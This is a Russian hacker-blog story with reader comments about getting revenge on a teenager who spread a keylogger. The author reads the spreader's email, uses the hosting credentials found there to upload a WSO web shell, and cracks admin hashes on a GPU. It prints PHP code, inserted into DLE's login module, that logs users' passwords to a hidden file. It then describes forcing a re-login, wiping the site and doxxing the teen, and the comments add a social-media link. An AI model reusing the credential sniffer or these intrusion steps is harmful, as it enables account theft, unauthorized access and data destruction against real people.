Имейте совесть или совесть поимеет вас
Имейте совесть или совесть поимеет вас
В последнее время моральные устои публичного андерграунда, представленного в виде десятков, а то и сотен хакерских форумов, начали падать ниже плинтуса. Взломом ради взлома сейчас можно удивить почти любого - всех тянет вниз жажда наживы. Мало того, толпы неполовозрелых особ (или школота, от гр. "долбоёбус школитисимус" - лицо девственной национальности) осели на этих самых форумах и теперь активно ракуют и портят саму атмосферу. Они! Нас! Истинных хакеров в третьем поколении троянят! Нет, серьезно. Не проходит и дня, как прыщавый 9-классник создаст на форуме пачку тем в стиле "Новый супир криптор! все кочать!!!". И тут "набигают" с десяток аналогичных особей, ну и происходит "это". "Вах там троян", "убью паскуда", "задолбала школота" - и всё это оседает. И вместо технических тем получаем гигабайты бессмысленного поноса - и как тут что-либо можно найти. Хотя вообще, наблюдать это со стороны бывает весело. Стая идиотов мигрирует из топика в топик и троянят друг друга по очереди. И как всегда всё портит один из стариков форума, вещающий "Там троян, не качайте". Кайфолом...
Ну так о чем это я? Отвлекся, черти б их всех взяли. Морали нет, принципы еще не выросли. После напряженного дня (4 урока, ага) эта особь заходит на форум журнала "Хакер" ("ксакеп" по-народному), в бэкграунде конпелируя пинча и склеивая само зло с фотками Ксении Собчак, и создает на форуме топик о новом брутфорсе/крипторе/джоинере/etc. Особи заходят, качают, устанавливают себе кейлог/трой/бэкдор. И вот на этом моменте в игру входит адекватный участник форума, (да, принципы у него уже выросли, 30см, по колено блять) качает недотроя, и получает доступ ко всем паролям жертв. Как?
В большинстве случаев хватает минимальных знаний реверсинга и владения дизасмом/отладчиком. В случае со стилером ("стилер", от англ. "stealer" - троян, который при запуске высылает хэккеру сохраненные в системе пароли) все достаточно просто - рядовая особь не умеет его правильно настроить и в результате получает троян, в котором хранится пароль злоумышленника. Например, если стилер настроен на отправку паролей на ftp-сервер, то в самом трояне будет хранится пароль от этого сервера. Правильная же особь настроит троян на работу с гейтом (гейт - скрипт на удаленном сервере, который принимает пароли и сохраняет в надежном месте), т.е. в трое паролей не будет, для злоумышленника всё безопасно. При работе с кейлоггером появляются всё те же проблемы - фтп использовать несекурно, остается либо гейт, либо отправка отчетов на почту. Но даже тут, в казалось бы продуманном способе доставки паролей, это особь косячит - в рассматриваемом сегодня случае отправка сообщений происходила на тот же ящик, откуда она и шла - т.е. в трое хранился пароль, зная который можно разрулить отчеты остальных особей. Так собственно и произошло...
Итак. Зимнее утро, приподнятое настроение, клавиатура уже в предвкушении набить очередного суперского трояна. И тут неожиданно стук в icq с предложением помочь кое с чем. Это стучит старый-добрый Ltonid, проверенный и адекватнейший пользователь Форума Хакер. Как оказалось, он раскрутил очередной кейлоггер, которого впаривали под видом чего-то суперски клёвого, и ему нужна помощь с разгребанием "халявы". Ну как тут можно отказать то?
Волей случая, особь настраивая кейлоггер, вбила свой рабочий и весьма используемый адрес почты. Ну что же тут поделать, не упускать же такой шанс. При открытии его почты (через прокси! только через цепочку из стопиццот сотен прокси!), открылась весьма занимательная картина - десятки писем с логами кейлоггера. Софт использовался весьма ущербный - логи были трудночитаемые, да еще и жертвы были геймерами - в логе были сотни строк с текстом вида "adwasdawdasdadwasd". Логов было действительно много, и все однотипные - искать в них что-либо интересное представлялось весьма нудным (рис. 1). Но товарищ Ltonid не сдавался до последнего и все-таки нашел вкусняшку - авторизационные данные для почты xakep.ru И о чудо - они не просто подошли, а открыли весьма примечательную картину - десятки, сотни писем. Об оплате чего-то - в них были данные нашей особи: ФИО, адрес, телефон :) В итоге, устроив параллельную блиц-гугл-сессию и основываясь на данных и почты, на него было создано досье:
Ник: f00rz
Возраст: 18Род занятий: просаживание родительских денег в CS
Характер: фимозен, нервозен (особенно в игре), агрессивен, испытывает половое влечение к своей матери
Также были письма о регистрации хостингов, о создании аккаунтов и еще кучи всего. Перелопачивая все эти килобайты "халявы" Ltonid находит пса по имени Бинго - письмо от администрации хостинга с данными для авторизации в админ-панели DirectAdmin (рис. 2, рис. 3)! Что уж тут думать - тут главное чтобы сайт был рабочий и посещаемый, не заброшенный. Так оно и оказалось - это был сайт каких-то унылых геймеров http://cyber-west.ru (уже сдох). Моментально мною был залит шелл WSO. Дальнейшая схема действий весьма предсказуема - поиск вкусностей. Сайт работал на cms DLE 8.3 На хосте был установлен PhpMyAdmin, вход в который был осуществлен с теми же данными, что и в DirectAdmin. Как показал гугл, хеш пароля в DLE - двойной MD5. Имея в распоряжении видеокарту nVidia GTX 275 и хеши обеих администраторов сайта, взлом пароля был вопросом времени. Используя программу для брута IGHASHGPU, на скорости 250 миллионов паролей в секунду, был подобран банальный 6-значный циферный пароль одного из админов, второй же ни в какую не поддавался. Имея такой нехилый набор паролей от всего, цель всё еще оставалась нетронутой - поддался бруту пароль другого администратора, который никак небыл причастен к протрояниванию, поэтому мы отложили брутфорс паролей и начали брутфорс идей. Первое что пришло в голову - поставить сниффер авторизационных данных, т.е. сохранять в файл те данные, которые пользователь вводил про логине. Учитывая нулевой опыт в такого рода деятельности, это оказалось весьма нетривиальной задачей. Но скачав дистрибутив DLE и изрядно покопавшись в ней, искомое место было найдено в файле engine\modules\sitelogin.php, куда и был помещен код такого вида:
$zxcvb = "";
$zxcvbstring = "";$zxcvb = @fopen(realpath(dirname(__FILE__)).'/systemlog.php', "a");
$zxcvbstring = date('Y-m-d [H:i:s]').' : '.$_POST['login_name'].' : '.$_POST['login_password'].' : '.$_SERVER["REMOTE_ADDR"]."<br>\r\n";
@fwrite($zxcvb, $zxcvbstring, strlen($zxcvbstring));
@fclose($zxcvb);
@touch(realpath(dirname(__FILE__)).'/systemlog.php', 1276556440);
В итоге, после многочасового ожидания, были отхвачены пара десятков паролей, но наш быдлоадмин ни в какую не логинился, а судя по статистике сайт он посещал. Мда, что ж тут делать то? В работу было включено целых 3 кг мозгового вещества - и вот она идея, убить сессию этого чудилы, тогда при следующем посещении сайта, он скорее всего залогинится и его данные осядут в логе. Кильнули все ответственные за сессию значения из БД - эффекта ноль, зарегистрированный заранее тестовый аккаунт продолжал оставаться залогиненным. Попробовали убить временные файлы с сессиями, которые лежали в \phptmp - никакой реакции.
Вот он тупик, в наши светлые головы ничего не приходило. Лезть и стирать куки с его машины - это был явный перебор, да и лень было. И вот она, снова гениальная идея - админка то еще есть! Там есть своя форма логина, через которую особь могла удачно залогиниться. Для начала нужно было её найти. При попытке зайти в http://cyber-west.ru/admin.php выдавалась какая-то белиберда, явно это была не админка. И только после активного гуглинга и посещения сайта-демки на DLE, стало ясно, что в админку нужно идту вот так: http://cyber-west.ru/admin.php?mod=main Мать её за ногу, эту кривую архитектуру! Для вставки кода было решено использовать файл \engine\inc\include\init.php - на этом моменте всё прошло гладко, код вставлен, данные сохраняются. Час ждем, два ждем - эффекта ноль, админы туда вообще не совались. Очередной тупик.
Думали уже забросить это дело, ну ничего в голову не шло. Но опять светлая голова Ltonid выручила рыцарей добра: "А давай-ка запорем ему хэш!". Это было лучшим вариантом, и единственным. Особь зайдет на сайт, куки окажутся невалидными, он разлогинится. Логин в PhpMyAdmin, смена одного символа хэша и ожидание, снова. Часы шли, активности никакой, только очередной дебил-геймер оставлял свой пароль в логе. Мы занялись своими делами, ибо ожидание неистово надоедает.
И вот, уже ближе к вечеру, вспомнилось - а ведь надо чекнуть лог! И вот оно, то чего мы так ждали, заветная фраза "1278284nea", которая уже встречалась в логах и письмах. Но там было столько всего, что опробовать всё - а ну его в пень. Попытка логина - удачно, вход в почту на яндексе - еще как. Единственное, что огорчало - при логине админом, на сайте это светилось - кто был онлайн. Пришлось периодически удалять значения из таблицы dle_online.
Миссия достигнута, все данные на руках. Оставалось только одно - устроить "Час Ч". На всякий пожарный, через DirectAdmin был создан, слит и удален бэкап всего аккаунта, вместе с файлами и базами. В самым последний момент, когда уже всё было настроено на тотальный дестрой, оказалось, что надо же еще и страничку индекса состряпать, с посланием для особи (рис. 4). Синхронными нажатиями кнопок мышей были сменены пароли везде, где только можно, удалены все записи из базы и все возможные файлы - а чтобы слаще жилось.
Суть это прохладной истории - не опускайся до уровня заражения своих, не будь идиотом и держи хвост пистолетом!

Комментариев: 14
хах - норм промутили ))
http://vkontakte.ru/id25581342 - его вроде )
ЫЫЫ. Кииииииииря!) Попалсо ты)
ВАГОНез "Метка пидорас" ,а что не зоофил сразу)))))
Ума хватет только гадить школьникам((((
Позор
кирюшка ты штоле? )))
Я папа Кирила!
Ltonid - http://vkontakte.ru/id112511844
Вагон твой дружок?
Здравствуйте. Нет это не я.
А вот у меня вопрос к Кириллу.
Когда он заражал других, воровал акки даркорбита. Я лично сам вернул один хозяину. Зачем? Они же бесценны, это душа игрока! А стоп, ты же их продавал!! Ты мыла все вернул, сайт твой здох за неуплату, что-то ещё? Ты же акки не возвращал, ты их крал и вымогал с владельцев деньги.
Этого мы нигде не упомянули, также не упомянули как вы обманывали администраторов других форумов. Вас перебанил весь интернет. А вы читерели на собственном серваке.
Один из диалогов
[19.12.2010 23:34:00] . - дагон Никита: ты тут?!
[19.12.2010 23:34:06] -=SCORP=- В.В.: да
[19.12.2010 23:34:20] . - дагон Никита: помнишь я тебе обищал бота прикольного!
[19.12.2010 23:34:37] -=SCORP=- В.В.: да
[19.12.2010 23:34:49] . - дагон Никита: тебе еще нужен?!
[19.12.2010 23:34:53] -=SCORP=- В.В.: да
[19.12.2010 23:35:01] -=SCORP=- В.В.: что он умеет?
[19.12.2010 23:35:08] . - дагон Никита: все
[19.12.2010 23:35:25] -=SCORP=- В.В.: его банят?
[19.12.2010 23:35:25] . - дагон Никита: порты коробки само обновления
[19.12.2010 23:35:28] . - дагон Никита: нет!
[19.12.2010 23:35:34] -=SCORP=- В.В.: давай
[19.12.2010 23:35:42] . - дагон Никита: ток он на 1 ид!
[19.12.2010 23:35:53] -=SCORP=- В.В.: что так плохо
[19.12.2010 23:36:45] . - дагон Никита: вот так вот
[19.12.2010 23:40:19] . - дагон Никита: там короче сам откроешь в папке костьюмс ид вставишь
[19.12.2010 23:40:31] *** . - дагон Никита отправил Бот.exe ***
[19.12.2010 23:40:37] -=SCORP=- В.В.: ок
[19.12.2010 23:41:53] -=SCORP=- В.В.: пишет что файл поврежден
[19.12.2010 23:42:19] . - дагон Никита: какая у тебя винда
[19.12.2010 23:42:26] -=SCORP=- В.В.: хр
[19.12.2010 23:43:08] . - дагон Никита: эт для семерки
[19.12.2010 23:43:18] -=SCORP=- В.В.: ясно
[19.12.2010 23:43:24] . - дагон Никита: поготь сделаем так
[19.12.2010 23:43:25] . - дагон Никита: сек
[19.12.2010 23:43:30] . - дагон Никита: может откроем
[19.12.2010 23:44:04] -=SCORP=- В.В.: не отрывается
[19.12.2010 23:44:06] . - дагон Никита: поготь
[19.12.2010 23:44:29] . - дагон Никита: забыл у тяклан какой??!
[19.12.2010 23:45:16] -=SCORP=- В.В.: да
[19.12.2010 23:45:25] . - дагон Никита: какой?
[19.12.2010 23:45:29] -=SCORP=- В.В.: урал
[19.12.2010 23:45:58] . - дагон Никита: а можешь название кинуть!
[19.12.2010 23:47:01] -=SCORP=- В.В.: зачем?
[19.12.2010 23:47:11] . - дагон Никита: друг хочет к тебе
[19.12.2010 23:47:11] . - дагон Никита: !
[19.12.2010 23:47:16] . - дагон Никита: посмотреть хочет!
[19.12.2010 23:47:23] -=SCORP=- В.В.: как ник его
[19.12.2010 23:47:29] -=SCORP=- В.В.: пускай мне напишет
[0:12:18] . - дагон Никита: [22:01:17] AQUA: создаете текстовый документ!
[22:01:39] AQUA: там пишете
[22:01:45] AQUA: FakeID=49135374
6463405=9b5fcff0515308adf840a1b9513c38f5
[0:12:37] -=SCORP=- В.В.: нет спс это туфта какая то
[0:12:48] . - дагон Никита: ок
[1:02:57] -=SCORP=- В.В.: ты здесь?
[1:08:01] -=SCORP=- В.В.: вот ты урод крысу мне подкинул
[1:23:07] -=SCORP=- В.В.: гандон ебаный
Во я придумал аналогию случившегося.
Купили вы киндер-сюрприз. А внутри вместо игрушки-машинки ключи от автомобиля и написано где он стоит. Приходите а там мерс. Садитесь, а там магнитола. Вы думаете: а нахрена мне мерс, взяли магнитолу и ушли домой. Через день вваливается хозяин мерса и требует магнитолу)) Станно - а кто этот человек?? И зачем ему наша магнитола без мерса? Ключи то у нас. А в мерседесе была дарственная тому у кого ключи. Пошли и сожгли мерс, скучно было))
Ltonid
Робин гуд 2010,прими мой поздравления, в следующем году верни вдвоем)))
Аноним
Киндер лотерея, выиграй мерседес, забери магнитолу)))
Я смотрю тут такие же малалетки, про каких и шла речь в статье!
Как может адекватный человек(не школьниГ,школота и т.д.), писать с такими матами!!!
Да это просто далбаеБ!Дебил,конченый да и просто мразь!
Хотя может что-нибудь и понимает!
ЧЕЛ ТЫ ДЕГРАДИРУЕШЬ!УЧИСЬ ЖИТЬ И ОБЩАТЬСЯ!
что за скин оперы на рис2
аффтар, не гони на школоту. да, среди них есть дебилы, ламеры и прыщавые криворукие критины с завышенной самооценкой, но не стоит судить по ним о всех. говори что хочешь, но я школьник и спокойно себе учу C# и masm, не шлю никому вирусы и адекватно отношусь к людям. И мне осточертело слушать подобные перематы по 2 листа А4 на каждом сайте втором сайте.
freengit, думаю термин "школота" характеризует человека не со стороны возраста, а с точки зрения его интеллекта и поведения. Просто есть адекватные люди, которые и в 14, и в 20, и в 50 хорошие люди, а есть дебилы, и они всегда такими останутся.
Аноним, я это прекрасно понимаю, но, учитывая изначальное значение термина, очень неприятно читать подобное :-(
Хорошая статья!! Хацкеру написавшему и создавшему сей дивный сайт респект!!
Честно говоря статьи задушевные и читать одно удовольствие!